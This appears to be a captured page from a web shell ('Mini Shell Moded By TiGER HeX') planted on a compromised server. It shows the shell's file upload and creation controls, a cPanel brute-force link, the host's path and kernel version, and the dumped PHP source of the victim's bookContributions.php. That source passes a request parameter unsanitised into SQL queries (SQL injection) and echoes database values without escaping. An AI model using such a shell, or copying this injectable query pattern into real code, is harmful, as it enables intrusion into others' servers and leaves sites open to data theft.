Mini Shell Moded By TiGER HeX
Home
||
Turbo Force
||
B-F Config_Cpanel
Current Path :
/
mnt
/
volume_sfo2_01
/
50mmla
/
Linux midnightridazz 4.19.0-11-cloud-amd64 #1 SMP Debian 4.19.146-1 (2020-09-17) x86_64
Upload File :
New :
File
Dir
/mnt/volume_sfo2_01/50mmla/bookContributions.php
<?php include_once('includes/static/configure.php'); include_once('includes/static/util.php'); include_once('includes/static/dbcon.php'); include_once('includes/static/gdimg.php'); include_once('includes/static/sessions.php'); include_once('includes/appTop.php'); $pg_name = basename($_SERVER['PHP_SELF']); include_once('includes/header.php'); $uid = 0; if(isset($_REQUEST['userId'])){ $uid = $_REQUEST['userId']; } $sql = "SELECT username FROM 50mm_users WHERE user_id='$uid'"; if( !($result = $db->sql_query($sql)) ){ $sql_error = $db->sql_error(); die($sql_error['message']); } $row = $db->sql_fetchrow($result); $uname = $row['username']; $sql = "SELECT tag_image,tag_id,page_num FROM 50mm_tags WHERE user_id ='$uid' ORDER BY page_num ASC"; if( !($result = $db->sql_query($sql)) ){ $sql_error = $db->sql_error(); die($sql_error['message']); } //make blank pages //*********************** // this method isn't the most efficent however the manner in which php handles mysql result // makes it difficult to loop through the sql result array $book_pages = Array(); for($i=0;$i< BOOK_IMGS;$i++){ $book_pages[$i] = Array("tag_id"=>0,"tag_image"=>""); } //populate pages while ($row = $db->sql_fetchrow($result)){ $page_num = $row['page_num']-1; $book_pages[$page_num]["tag_id"] = $row['tag_id']; $book_pages[$page_num]["tag_image"] = $row['tag_image']; } $table=""; $colcount=0; $numcol = 4; for($i=0;$i< BOOK_IMGS;$i++){ $tag_id = $book_pages[$i]['tag_id']; $thumb_src = BOOK_SIMG_DIR.$book_pages[$i]['tag_image']; if($colcount==0){ $table.="<table cellpadding=\"0\" cellspacing=\"0\" border=\"0\">\n"; $table.="<tr>\n"; } $table.="<td align=\"center\">\n"; $pnum = $i+1; if ($uid == $_SESSION['user_id']){ $link = "<a href=\"bookDraw.php?userId=$uid&pageNum=$pnum\">Hit this page...</a><br><br>"; }else{ $link = ""; } if(!empty($book_pages[$i]['tag_image'])){ $table.="<a href=\"viewBook.php?tagId=$tag_id&userId=$uid\"><img src=\"$thumb_src\" border=\"0\" hspace=\"8\" vspace=\"8\"></a><br>\n"; }else{ $table.="<img src=\"".BOOK_SIMG_DIR."blackbook.jpg\" border=\"0\" hspace=\"8\" vspace=\"8\"><br>\n"; } $table.=$link; $table.="</td>\n"; $colcount++; if(($colcount==$numcol)||($i==BOOK_IMGS-1)){//close table $colcount =0; $table.="</tr>\n"; $table.="</table>\n"; } } ?> <a href="viewProfile.php?userId=<?echo $uid?>">view profile</a><br><br> <div class="title">50mm Blackbook pages by: <?echo $uname;?></div> <?echo $pgnav;?> <br><br> <?echo $table;?> <? include_once('includes/footer.php'); include_once('includes/appBottom.php'); ?>